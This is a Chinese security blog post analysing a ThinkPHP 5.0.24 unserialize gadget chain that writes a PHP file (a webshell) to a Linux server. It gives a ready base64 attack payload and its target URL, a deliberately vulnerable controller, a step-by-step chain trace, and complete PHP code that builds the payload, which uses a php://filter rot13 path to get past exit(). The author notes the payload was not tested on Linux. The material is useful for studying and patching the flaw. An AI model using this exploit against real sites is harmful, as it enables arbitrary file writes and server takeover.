ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析

ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析

  • ThinkPHP5.0.24
  • 漏洞代码
    
    namespace app\index\controller;
    
    class Index
    {
        public function test01(){
            $code = $_POST['code'];
            unserialize(base64_decode($code));
        }
    }
    
  • payload
    /index.php/index/index/test01
    POST
    code=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
    

漏洞分析

  1. 入口点还是Windows::__destruct,通过removeFiles方法调用__toString方法,TP5.1.37反序列化中利用的是Conversion::__toString,但是在TP5.0.24中没有这个类,这里使用Model::__toString
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第1张图片
  2. 经过Model::__toString->Model::toJson->Model::toArray调用链后进入toArray方法,需要在toArray方法中寻找可控对象->类方法(可控变量),这里有如下四个
    $item[$key] = $relation->append($name)->toArray();
    $item[$key] = $relation->append([$attr])->toArray();
    $bindAttr = $modelRelation->getBindAttr();
    $item[$key] = $value ? $value->getAttr($attr) : null;
    
  3. 这里使用的第四个,$this->append可控,则$key$name可控,$relation是通过Loader::parseName获取的
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第2张图片
  4. 跟进parseName方法,发现其返还的就是$name,所以$relation可控
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第3张图片
  5. 回到toArray方法,跟进method_exists($this, $relation)知道$relation需要是一个方法,且这个方法存在于Model这个类中,再跟进method_exists($modelRelation, 'getBindAttr')知道$modelRelation需要是一个对象,且这个对象要有getBindAttr方法,$modelRelation是通过$this->$relation()获取的,所以$this->$relation()需要返回的是一个对象
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第4张图片
  6. 这里找到的是Model::getError方法,返回值是可控的!所以$modelRelation是可控的
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第5张图片
  7. $modelRelation需要存在getBindAttr方法,这里使用OneToOne::getBindAttr方法,此方法返回值可控!但是OneToOne类是抽象的,那么用其子类HasOne,所以$modelRelation需要指向HasOne对象。
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第6张图片
  8. $value值是通过getRelationData方法获取的,跟进这个方法,我们想要让返回值为$this->parent$value值就可控了。
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第7张图片
  9. 需要返回值是$this->parent,则需要满足if语句的条件,先看$modelRelation->isSelfRelation() ,跟进Relation::isSelfRelation()方法,发现返回值是可控的,那么这个条件可以满足。第二个条件get_class($modelRelation->getModel()) == get_class($this->parent),跟进Relation::getModel方法,getModel方法调用Query::getModel方法,跟进发现返回值可控。至此if语句的条件可以满足。
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第8张图片
  10. 接着往下$bindAttr 通过OneToOne::getBindAttr方法获取,跟进方法返回值可控!
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第9张图片
  11. 至此,可以进入到$item[$key] = $value ? $value->getAttr($attr) : null;了,且$value可控,那么就可以调用任意类的__call方法了,这里使用的是Output::__call方法,跟进,$method为getAttr,然后$this->styles可控,所以可以调用block方法,至于$args参数不用管它,反序列化链中用不到
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第10张图片
  12. 跟进block方法,经过Output::writeln->Output::write调用进入Output::write方法,且第二个参数$newline值为true(这个回去看一下链就清楚
    image-20211115104836799
  13. $this->handle可控,所以可以调用任意类的write方法,这里选择调用的是Memcached::write方法
    image-20211115105102748
  14. 跟进方法,这里的$this->handler也可控,所以可以调用任意类的set方法,且第一个参数部分可控,第三个参数完全可控,第二个参数为true。这里使用的是File::set
    image-20211115105253788
  15. 跟进方法,$filename是通过getCacheKey方法获取的,而传入的name参数是我们部分可控的。
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第11张图片
  16. 跟进getCacheKey方法,因为$this->options['path']可控,所以返回值部分可控
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第12张图片
  17. 这里因为$value为true,所以$data不可控,虽然$expire可控,但是因为写入的是%d(数值),所以这里无法利用
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第13张图片
  18. 继续往下看调用了setTagItem方法,传入的$filename我们部分可控。发现再次调用了set方法,且因为调用set方法的第二个参数$value是通过$name赋值获取的,也就是$value是部分可控的,所以再次调用file_put_contents时第一个参数和第二个参数都部分可控,那么就可以写马了,而exit用伪协议绕过即可。
    ThinkPHP5.0.24_反序列化漏洞在Linux下的写马分析_第14张图片

exp构造


namespace think\process\pipes{
    use think\Model\Pivot;
    class Windows{
        private $files = [];
        public function __construct(){
            $this->files[] = new Pivot();
        }
    }
}

namespace think{
    use think\model\relation\HasOne;
    use think\console\Output;
    abstract class Model{
        protected $append = [];
        protected $error;
        protected $parent;
        public function __construct(){
            $this->append = [
                'ky' => 'getError'
            ];
            $this->error = new HasOne();
            $this->parent = new Output();
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{}
}

namespace think\model\relation{
    use think\db\Query;
    class HasOne{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct(){
            $this->selfRelation = false;
            $this->query = new Query();
            $this->bindAttr = [
                'ky' => 'is a boy'
            ];
        }
    }
}

namespace think\db{
    use think\console\Output;
    class Query{
        protected $model;
        public function __construct(){
            $this->model = new Output();
        }
    }
}

namespace think\console{
    use think\session\driver\Memcached;
    class Output{
        private $handle;
        protected $styles;
        public function __construct(){
            $this->handle = new Memcached();
            $this->styles = [
                'ky' => 'getAttr'
            ];
        }
    }
}

namespace think\session\driver{
    use think\cache\driver\File;
    class Memcached{
        protected $handler;
        protected $config  = [
            'host'         => '127.0.0.1', // memcache主机
            'port'         => 11211, // memcache端口
            'expire'       => 3600, // session有效期
            'timeout'      => 0, // 连接超时时间(单位:毫秒)
            'session_name' => 'ky', // memcache key前缀
            'username'     => '', //账号
            'password'     => '', //密码
        ];
        public function __construct(){
            $this->handler = new File();
        }
    }
}

namespace think\cache\driver{

    class File{
        protected $options = [];
        protected $tag;
        public function __construct(){
            $this->options = [
                'cache_subdir' => false,
                'prefix' => "",
                'path' => "php://filter/write=string.rot13/resource=./static/",
                'data_compress' => false,
                'expire'        => 0
            ];
            $this->tag = 'ky';
        }
    }
}

namespace {
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
}

写在后面

  1. 这个漏洞需要是Linux下,因为马的名字在Windows下写不进去
  2. Linux环境下的TP没部署好,所以也没测试这个payload,倒是在Windows下输出了下文件名,想来应该问题不大,有时间再补回来吧

你可能感兴趣的:(代码审计,ThinkPHP,安全漏洞,安全,web安全)